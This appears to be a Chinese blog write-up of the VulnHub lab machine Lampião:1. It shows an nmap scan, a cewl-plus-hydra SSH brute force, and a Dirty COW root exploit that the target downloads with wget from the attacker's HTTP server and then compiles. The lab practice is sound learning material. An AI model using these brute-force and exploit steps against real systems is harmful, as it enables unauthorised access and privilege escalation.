vuln靶场练习-LAMPIÃO:1
前言
vuln渗透的第一篇文章,创建这个分类主要是锻炼自己的渗透思路。虽然这个没有Web题那么有趣
靶机地址:https://www.vulnhub.com/entry/lampiao-1,249/
渗透难度:简单
工具:kali2.0,一双善于发现细节的眼睛
靶机IP:192.168.0.225
信息收集
- 用nmap工具扫描靶机,发现开放80端口和1898端口都开放http服务,系统为Linux系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47┌──(root💀kali2)-[/home/jason]
└─# nmap -A -T4 -p- 192.168.0.225
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-13 14:43 CST
Nmap scan report for 192.168.0.225
Host is up (0.0011s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp open http?
| fingerprint-strings:
| NULL:
| _____ _ _
| |_|/ ___ ___ __ _ ___ _ _
| \x20| __/ (_| __ \x20|_| |_
| ___/ __| |___/ ___|__,_|___/__, ( )
| |___/
| ______ _ _ _
| ___(_) | | | |
| \x20/ _` | / _ / _` | | | |/ _` | |
|_ __,_|__,_|_| |_|
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 00:0C:29:45:3E:57 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.15 ms 192.168.0.225
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.91 seconds - 访问了靶机的80端口,日常审计了一遍并没有发现什么有用信息;然后访问1898端口,发现有两篇文章
- 访问第二篇文章的时候发现url显示的是3而不是2
- 手动将3改为2,发现隐藏的第二篇文章,文章提示我们网站目录里有个audio.m4a 和qrc.png,访问其,得到一段音频和一张二维码图片。语音内容:user tiago ,二维码扫描之后发现了一句话:Try harder! muahuahua,…..
用dirb和nikto扫了一遍网站,并未发现可疑信息。现在得到的有用信息只有该主机其中一个用户名:tiago
提权shell
先用 “cewl http://192.168.0.225:1898/?q=node/1 -w 22.txt” 生成一个密码字典,然后 “hydra -l tiago -P 22.txt 192.168.0.225 ssh -t 4 -vV” 进行爆破ssh。
cewl:通过爬行网站获取关键信息创建一个社工性质的密码字典
1 | cewl http://192.168.0.225:1898/?q=node/1 -w dict.txt |
忙碌了十几分钟的凉师傅…爆破出来了一个普通用户的账号密码,而且不能sudo提权。。。
1 | 用户: tiago |
正常思路是先使用uname -a查看内核版本,然后用searchsploit命令查看有没有相应漏洞,但是当我看到这个内核版本的时候想起了脏牛提权漏洞(Dirty Cow)
1 | Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux |
1 | 以下是脏牛漏洞影响的系统版本: |
- 先用searchsploit查找该漏洞,使用cp命令复制到本地
1
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ./
- 在本地开启python的http服务
1
python -m SimpleHTTPServer 6666
- 靶机输入wget命令下载漏洞利用文件
1
wget 192.168.0.43:6666/40847.cpp /tmp/
- 编译漏洞利用文件
1
2
3
4
5
6
7
8g++ -Wall -pedatic -O2 -std=c++11 -pthread -o shell 40847.cpp -lutil
参数分析:
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o shell gcc生成的目标文件,名字为shell - 漏洞利用成功,成功获得root权限
1 | root@lampiao:~# cat /root/flag.txt |
总结
做这类渗透系统的题目,一定要有足够的细节才能发现问题所在;当然最重要的还是要积极学习并熟悉各种漏洞的利用,做这种题才能如虎添翼
问题
关于靶机不分配IP的问题,参考文章 https://blog.csdn.net/weixin_43228504/article/details/105233618
评论